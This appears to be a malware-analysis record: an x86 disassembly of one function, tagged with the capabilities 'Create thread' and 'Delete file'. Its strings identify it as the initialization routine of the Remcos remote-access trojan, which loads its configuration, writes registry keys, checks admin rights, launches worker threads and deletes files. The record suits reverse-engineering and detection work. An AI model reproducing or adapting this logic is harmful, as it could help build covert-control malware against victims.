Function at 0x40e7ce
Capabilities:
Create thread
Delete file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, dword [ebp + 8]
sub esp, 0x30c
mov dword [0x471d40], eax
push ebx
push esi
push edi
call fcn.0041c5e5
push 0x104
push 0x471b38
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [esp + 0x48]
call fcn.0040f1cc
sub esp, 0x18
mov ecx, esp
push 0x474350
call fcn.004020f6
sub esp, 0x18
lea eax, [esp + 0x78]
mov ecx, esp
push eax
call fcn.004020f6
lea ecx, [esp + 0x60]
call fcn.0041b8b0
add esp, 0x30
push eax
call fcn.0040f920
lea ecx, [esp + 0x30]
call fcn.00401e8d
push 0x466360
push dword [ebp + 0x10]
call fcn.0043f6e0
pop ecx
pop ecx
test eax, eax
jne 0x40e89c
push ecx
push ecx
push 2
push str.license_code.txt
lea ecx, [esp + 0x70]
call fcn.0040f9bc
push 0x34
mov ecx, 0x4740cc
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
mov edx, eax
lea ecx, [esp + 0x60]
call fcn.00410d40
lea ecx, [esp + 0x60]
call fcn.0040f96d
lea ecx, [esp + 0x60]
call fcn.0040f1b9
xor esi, esi
inc esi
jmp 0x40ecfb
push 3
pop ebx
mov esi, 0x4740cc
push ebx
mov ecx, esi
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push 0x4650ac
push 0xe
mov ecx, esi
cmp byte [eax], 0
setne byte [0x471b32]
call fcn.00401e65
push eax
mov edx, str.Software_
lea ecx, [esp + 0x1c]
call fcn.0040531e
pop ecx
mov edx, eax
lea ecx, [esp + 0x34]
call fcn.00406383
pop ecx
push eax
mov ecx, 0x4742d8
call fcn.00401fe2
lea ecx, [esp + 0x30]
call fcn.00401fd8
lea ecx, [esp + 0x14]
call fcn.00401fd8
push 0xe
mov ecx, esi
call fcn.00401e65
push eax
mov ecx, 0x474308
call fcn.00401fc0
push 0x466384
mov ecx, 0x474368
call fcn.00405aa6
push edi
push 0x32
mov ecx, esi
call fcn.00401e65
mov ecx, eax
call fcn.004051e3
push edi
push 0x33
mov ecx, esi
cmp byte [eax], 0
setne byte [0x471d4b]
call fcn.00401e65
mov ecx, eax
call fcn.004051e3
cmp byte [eax], 0
setne byte [0x471d60]
cmp byte [0x471d4b], 0
je 0x40e9b7
push 0x466388
mov edx, 0x474308
lea ecx, [esp + 0x18]
call fcn.00406b45
pop ecx
push eax
mov ecx, 0x474400
call fcn.00401fe2
lea ecx, [esp + 0x14]
call fcn.00401fd8
lea eax, [esp + 0x2c]
mov dword [esp + 0x2c], edi
push eax
push 0x46638c
mov ecx, 0x4742d8
call fcn.00401fab
mov edx, eax
call fcn.004130f7
pop ecx
pop ecx
test al, al
jne 0x40f158
push 0xd
mov ecx, esi
mov dword [esp + 0x14], edi
call fcn.00401e65
mov edx, 0x46510c
mov ecx, eax
call fcn.0040b832
test al, al
je 0x40ea0c
lea eax, [esp + 0x10]
mov ecx, 0x4742d8
push eax
push 0x466390
call fcn.00401fab
mov edx, eax
call fcn.004130f7
pop ecx
pop ecx
test al, al
je 0x40ea0c
push 0x466390
mov ecx, 0x4742d8
call fcn.00401fab
mov edx, eax
call fcn.00413557
pop ecx
call fcn.0040ce72
test eax, eax
jne 0x40ea1c
push 2
jmp 0x40ecfa
mov eax, dword [0x473aec]
test eax, eax
je 0x40ea27
call eax
call fcn.0041ad58
mov eax, dword [0x473af8]
test eax, eax
je 0x40ea3c
call eax
mov dword [0x4709d0], eax
cmp dword [esp + 0x10], edi
jne 0x40ea7f
call fcn.0040763d
test eax, eax
je 0x40ea55
call fcn.0040765f
call fcn.00407187
push 0x2e
mov ecx, esi
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
cmp byte [eax], 0
je 0x40ea7f
cmp dword [0x473af8], edi
je 0x40ea7f
cmp dword [0x4709d0], edi
jne 0x40ea7f
call fcn.00407187
push 0x27
mov ecx, esi
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
cmp byte [eax], 0
je 0x40ea99
call fcn.0040767c
push 0xe
mov ecx, esi
call fcn.00401e65
mov edx, eax
lea ecx, [esp + 0x14]
call fcn.0041b6f3
push eax
mov ecx, 0x4742a8
call fcn.00401f13
lea ecx, [esp + 0x14]
call fcn.00401f09
push 4
mov ecx, esi
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push 5
mov ecx, esi
cmp byte [eax], 0
setne byte [0x471b33]
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push 8
mov ecx, esi
cmp byte [eax], 0
setne byte [0x471b30]
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push ebx
mov ecx, esi
cmp byte [eax], 0
setne byte [0x471b31]
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
cmp byte [eax], 0
je 0x40eb89
push 0x30
mov ecx, esi
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push eax
call fcn.0043b4cb
pop ecx
test eax, eax
je 0x40eb89
push 9
mov ecx, esi
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push 0x30
mov ecx, 0x4740cc
mov esi, eax
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
mov dl, byte [esi]
lea ecx, [esp + 0x14]
push eax
call fcn.0040d83d
pop ecx
push eax
mov ecx, 0x4742f0
call fcn.00401f13
lea ecx, [esp + 0x14]
call fcn.00401f09
mov esi, 0x4740cc
cmp dword [esp + 0x10], edi
jne 0x40ed0f
cmp byte [0x471b32], 0
je 0x40ec18
push 0x1e
mov ecx, esi
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push 0xc
mov ecx, esi
mov bh, byte [eax]
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push 9
mov ecx, esi
mov bl, byte [eax]
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
test bh, bh
mov esi, eax
setne cl
test bl, bl
movzx ecx, cl
mov ebx, 0x4740cc
push ecx
setne cl
movzx ecx, cl
push ecx
push 0xa
mov ecx, ebx
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push eax
push 0x30
mov ecx, ebx
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
mov cl, byte [esi]
mov edx, eax
call fcn.0040cc02
add esp, 0xc
jmp 0x40ec27
push 0x471b38
mov ecx, 0x4742c0
call fcn.00408f7e
mov ecx, 0x4742c0
call fcn.0040247c
push 2
xor ebx, ebx
inc eax
pop ecx
mul ecx
seto bl
neg ebx
or ebx, eax
push ebx
call fcn.004341b6
mov esi, eax
pop ecx
test esi, esi
je 0x40ec5a
push ebx
push edi
push esi
call fcn.004368a0
add esp, 0xc
jmp 0x40ec5c
mov esi, edi
mov ecx, 0x4742c0
call fcn.00401f04
push eax
push esi
call fcn.0043f1e4
pop ecx
mov ebx, 0x474320
mov ecx, ebx
call fcn.0040247c
push eax
mov ecx, ebx
call fcn.00401fab
push eax
mov ecx, 0x4742c0
call fcn.0040247c
mov ecx, 0x4742d8
lea eax, [eax*2 + 2]
push eax
push esi
push str.exepath
call fcn.00401fab
mov edx, eax
call fcn.004134f5
push esi
call fcn.004341bf
add esp, 0x1c
mov esi, 0x4740cc
mov ecx, esi
push 0xd
call fcn.00401e65
mov edx, 0x46510c
mov ecx, eax
call fcn.0040b832
test al, al
je 0x40ed74
push 0xd
mov ecx, esi
call fcn.00401e65
sub esp, 0x18
mov edx, eax
mov ecx, esp
call fcn.0041b6f3
call fcn.0040f27d
add esp, 0x18
cmp al, 1
jne 0x40ed74
push 3
pop esi
lea ecx, [esp + 0x48]
call fcn.00401fd8
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
mov esi, 0x208
lea eax, [esp + 0x110]
push esi
push edi
push eax
call fcn.004368a0
add esp, 0xc
mov ebx, 0x474320
mov ecx, ebx
call fcn.0040247c
push eax
mov ecx, ebx
call fcn.00401fab
push eax
push esi
lea eax, [esp + 0x11c]
mov ecx, 0x4742d8
push eax
push str.exepath
call fcn.00401fab
mov edx, eax
call fcn.004132a6
add esp, 0x14
lea eax, [esp + 0x110]
mov ecx, 0x4742c0
push eax
call fcn.00408f7e
mov esi, 0x4740cc
push 1
push 0x34
mov ecx, esi
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00402093
push str.licence
mov ecx, 0x4742d8
call fcn.00401fab
mov edx, eax
call fcn.0041331d
add esp, 0x20
mov ecx, esi
push 0x28
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push eax
call fcn.0043b4a1
mov byte [0x471d48], al
pop ecx
cmp al, 2
jne 0x40ede5
mov cl, 1
call fcn.0041c7b9
push edi
push edi
push edi
push 0x41ce7b
push edi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
call edi
jmp 0x40edf3
cmp al, 1
jne 0x40eded
xor cl, cl
jmp 0x40edcc
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
sub esp, 0x18
mov ecx, esp
push str.Remcos_Agent_initialized
call fcn.00402093
sub esp, 0x18
mov ecx, esp
push 0x464f94
call fcn.00402093
call fcn.0041af84
add esp, 0x30
mov ecx, esi
push 0xb
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push 0x10
mov ecx, esi
mov bl, byte [eax]
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
test bl, bl
mov esi, eax
mov ebx, 0x4740cc
setne cl
movzx ecx, cl
push ecx
push 7
mov ecx, ebx
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push eax
call fcn.0043b4a1
pop ecx
push eax
push 0x11
mov ecx, ebx
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push eax
push 0x31
mov ecx, ebx
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push eax
movzx eax, byte [esi]
mov ecx, ebx
push eax
push 0x2a
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push eax
push 0xf
mov ecx, ebx
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push eax
call dword [sym.imp.SHLWAPI.dll_StrToIntA]
push eax
mov ecx, 0x4740d8
call fcn.00409d0b
push 0x14
mov ecx, ebx
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
cmp byte [eax], 1
jne 0x40ef0a
push 2
pop eax
push eax
call fcn.00433f08
mov esi, eax
xor ebx, ebx
pop ecx
push 0x35
mov ecx, 0x4740cc
mov byte [esi], bl
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push ebx
push ebx
push esi
cmp byte [eax], bl
push 0x419a49
push ebx
setne cl
push ebx
mov byte [esi + 1], cl
call edi
jmp 0x40ef0c
xor ebx, ebx
mov esi, 0x4740cc
push 0x16
mov ecx, esi
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
cmp byte [eax], 1
jne 0x40ef62
push 2
pop eax
push eax
call fcn.00433f08
mov esi, eax
pop ecx
push 0x35
mov ecx, 0x4740cc
mov byte [esi], 1
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push ebx
push ebx
push esi
cmp byte [eax], 0
push 0x419a49
push ebx
setne cl
push ebx
mov byte [esi + 1], cl
call edi
mov esi, 0x4740cc
push 0x23
mov ecx, esi
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
cmp byte [eax], 1
jne 0x40efd5
push 0x25
mov ecx, esi
mov byte [0x471a85], 1
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push 0x26
mov ecx, 0x4740cc
mov esi, eax
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
mov dl, byte [esi]
lea ecx, [esp + 0x14]
push eax
call fcn.0040d7f1
pop ecx
push eax
mov ecx, 0x473d4c
call fcn.00401f13
lea ecx, [esp + 0x14]
call fcn.00401f09
push ebx
push ebx
push ebx
push 0x401be9
push ebx
push ebx
call edi
mov esi, 0x4740cc
push 0x2b
mov ecx, esi
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
cmp byte [eax], 1
jne 0x40f023
push 0x2c
mov ecx, esi
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push 0x2d
mov ecx, 0x4740cc
mov esi, eax
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push eax
call fcn.0043b4a1
cmp byte [esi], 0
mov edx, eax
pop ecx
setne cl
call fcn.0040bfd7
lea ecx, [esp + 0x14]
call fcn.0041b0a2
push eax
mov ecx, 0x474338
call fcn.00401f13
lea ecx, [esp + 0x14]
call fcn.00401f09
mov eax, dword [0x473af0]
test eax, eax
je 0x40f04c
push ebx
call eax
push ebx
push ebx
push ebx
push 0x40f5b0
push ebx
push ebx
call edi
cmp byte [0x471d4b], 0
je 0x40f06d
push ebx
push ebx
push ebx
push fcn.00411f00
push ebx
push ebx
call edi
cmp byte [0x471d60], 0
je 0x40f082
push ebx
push ebx
push ebx
push 0x4124e4
push ebx
push ebx
call edi
mov eax, dword [0x4709d0]
sub eax, ebx
je 0x40f097
sub eax, 1
jne 0x40f0d5
push str.Administrator
jmp 0x40f09c
push str.User
lea ecx, [esp + 0x18]
call fcn.00402093
sub esp, 0x18
mov edx, str.Access_Level:
mov ecx, esp
push eax
call fcn.004052fd
sub esp, 0x14
mov ecx, esp
push 0x464f94
call fcn.00402093
call fcn.0041af84
add esp, 0x30
lea ecx, [esp + 0x14]
call fcn.00401fd8
mov edi, 0x4742d8
push 0x4663e0
mov ecx, edi
call fcn.00401fab
mov edx, eax
call fcn.004130ad
pop ecx
test al, al
je 0x40f1ae
push 0x465f54
mov edx, edi
lea ecx, [esp + 0x18]
call fcn.0041b6f3
mov ecx, eax
call fcn.00401f04
push eax
mov edx, closesocket
lea ecx, [esp + 0x38]
call fcn.004131c9
pop ecx
pop ecx
lea ecx, [esp + 0x14]
call fcn.00401f09
lea ecx, [esp + 0x30]
call fcn.00401f04
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x40f14f
cmp ebx, 0xa
jge 0x40f178
push 0xa
inc ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [esp + 0x30]
call fcn.00401f04
push eax
call esi
test eax, eax
je 0x40f138
jmp 0x40f178
push 0x46638c
mov ecx, 0x4742d8
call fcn.00401fab
mov edx, eax
call fcn.00413557
pop ecx
mov ecx, dword [esp + 0x2c]
call fcn.0041227e
push 0x465f54
mov edx, edi
lea ecx, [esp + 0x18]
call fcn.0041b6f3
mov ecx, eax
call fcn.00401f04
mov edx, eax
mov ecx, closesocket
call fcn.004135d1
pop ecx
lea ecx, [esp + 0x14]
call fcn.00401f09
lea ecx, [esp + 0x30]
call fcn.00401f09
call fcn.0040db4b
call fcn.00414b37
int3